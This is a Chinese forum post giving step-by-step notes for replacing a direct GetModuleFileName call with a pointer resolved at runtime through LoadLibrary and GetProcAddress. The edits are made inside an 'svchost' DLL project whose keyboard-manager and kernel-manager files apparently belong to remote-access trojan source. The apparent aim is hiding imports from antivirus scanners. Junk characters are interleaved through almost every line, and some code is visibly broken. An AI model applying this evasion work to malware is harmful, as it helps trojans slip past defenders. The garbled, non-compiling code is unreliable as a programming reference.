[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记3 l5 h- p. I  C; b% l1 p5 i2 v' x$ _
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
  V3 ]6 L6 k& G9 l9 U( T0 W) q7 ]----------------------------------------; f3 I8 M  {4 ?4 I
DTDY.h：
9 t( p/ h9 Z$ Q$ e  C8 Z( ^! }# L. A; r4 B$ F6 V. E
#if _MSC_VER>1000
" i5 j2 i  i8 e. W. T/ \#pragma once3 m3 _2 v, r1 ^
#endif //_MSC_VER>1000! ~0 V% h2 j0 I) V
#include<windows.h># b' D0 a" y) q5 c" b7 w
3 f! h( E8 w' c3 y
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
2 V; Z$ s) t, N7 t( g8 R+ iclass DTDY
) ]0 F# a% `2 B( Y: Y' y6 a" e{
- A) k* y0 e" ]( ?public:
( f1 q& e+ x. ?) }DTDY();
% P. o' T3 R. ~! K% Avirtual ~DTDY();
7 k: {; b# z8 j7 _public:
, W! p+ c* K/ B; Z, b1 ostatic pGetModuleFileNameA MyGetModuleFileName;+ M, e4 c: x3 j8 @) M
static BOOL FunInitiallization();
: i5 }! [0 ]  h6 e; X};
* z1 F- s5 M# Z/ M5 u" Z  ]#endif$ l$ v  D, c7 A- C5 q
----------------------------------------  o' Z0 b/ \7 `. H7 Y9 ?' N4 |' C

4 Z" O/ z0 r  @0 |+ p" \3 a5 B# R7 kDTDY.cpp:5 n$ H  x& ]: C! r

! l  Y6 T# ?% n9 ^- d#include "DTDY.h"
0 z7 n& e  |4 \) hpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
3 ^- L6 [4 V3 g+ yDTDY:TDY(). @! R# `: W4 T4 y* o3 H
{
6 M" p, {2 R% ^6 }}. k5 O, e! P  Q: W
DTDY::~DTDY()& a  l: V' x7 g* e
{% [2 [( R* [: c0 g, g. J, x) F
}; _' ]/ Y2 f8 L% O
BOOL DTDY::FunInitiallization(): h' y' m% \2 x- C
{
: M4 j, M! l0 F' w% [: e9 ]HMODULE hModule=LoadLibrary("kernel32.dll");
0 D% e- w/ x1 z5 `& x" FMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");: m4 L9 A" n/ T9 |, u, U
if(!MyGetModuleFileName=) return FALSE;+ W4 c; J$ O/ C, \( `' P6 u

2 Q7 N1 j2 G: _& p3 X" n9 Kreturn TRUE;( g$ O' q- r0 p* \
}2 g0 u3 p+ `' d( x; t4 }4 X! k1 M
----------------------------------------
* x9 y" @. @& ?9 P2 Dsvchost.cpp:
2 ^8 S2 Z- |& m
+ Z, Y$ q9 F5 @7 b#include "DTDY.h"
. p: t0 x0 m0 y7 a5 S- @: X/ A3 a) x* o: U! [0 d
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
4 b; w0 r' ^5 X8 {, c6 o{5 i* ]3 d. }0 H$ H: K! }
switch(ul_reason_for_call)7 k7 a+ t. }: V( R6 k6 r5 |6 F8 W
{
" L. s9 t) I6 |- scase DLL_PROCESS_ATTACH:
- g/ D8 \: p; j* Zif(!DTDY::FunInitiallization()) return FALSE;8 ]5 D6 p6 d3 @7 r5 y2 i* y& `
  W. A0 B) }& m$ U
break;
, r( i4 ]) m" u}
" a7 Z, {% J: N: U8 F}
1 W) Q9 Q2 I# H- \
: m  N1 `. N! I8 I& {! Q- k5 o8 y# V5 Q  v# K) K9 k- d
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
( [" _/ \/ Y. h* P4 S, U改写为
3 N. v& k5 k; g3 W; _8 ?DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
2 m% [# z! j+ N1 u----------------------------------------
5 m* S% t  v$ A9 ?4 J% P8 {KernelManager.cpp:1 ?# _' ~2 E% p" Y
0 _5 ]) a+ r9 `: C, ~
#include "../DTDY.h"
: y" U' _- ]5 n$ f- }8 B, BGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));* W7 W0 N1 Q: V. u
改写为0 [% w4 ]3 ?/ L% G
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
0 N" C% t1 ~& }" C2 X! E----------------------------------------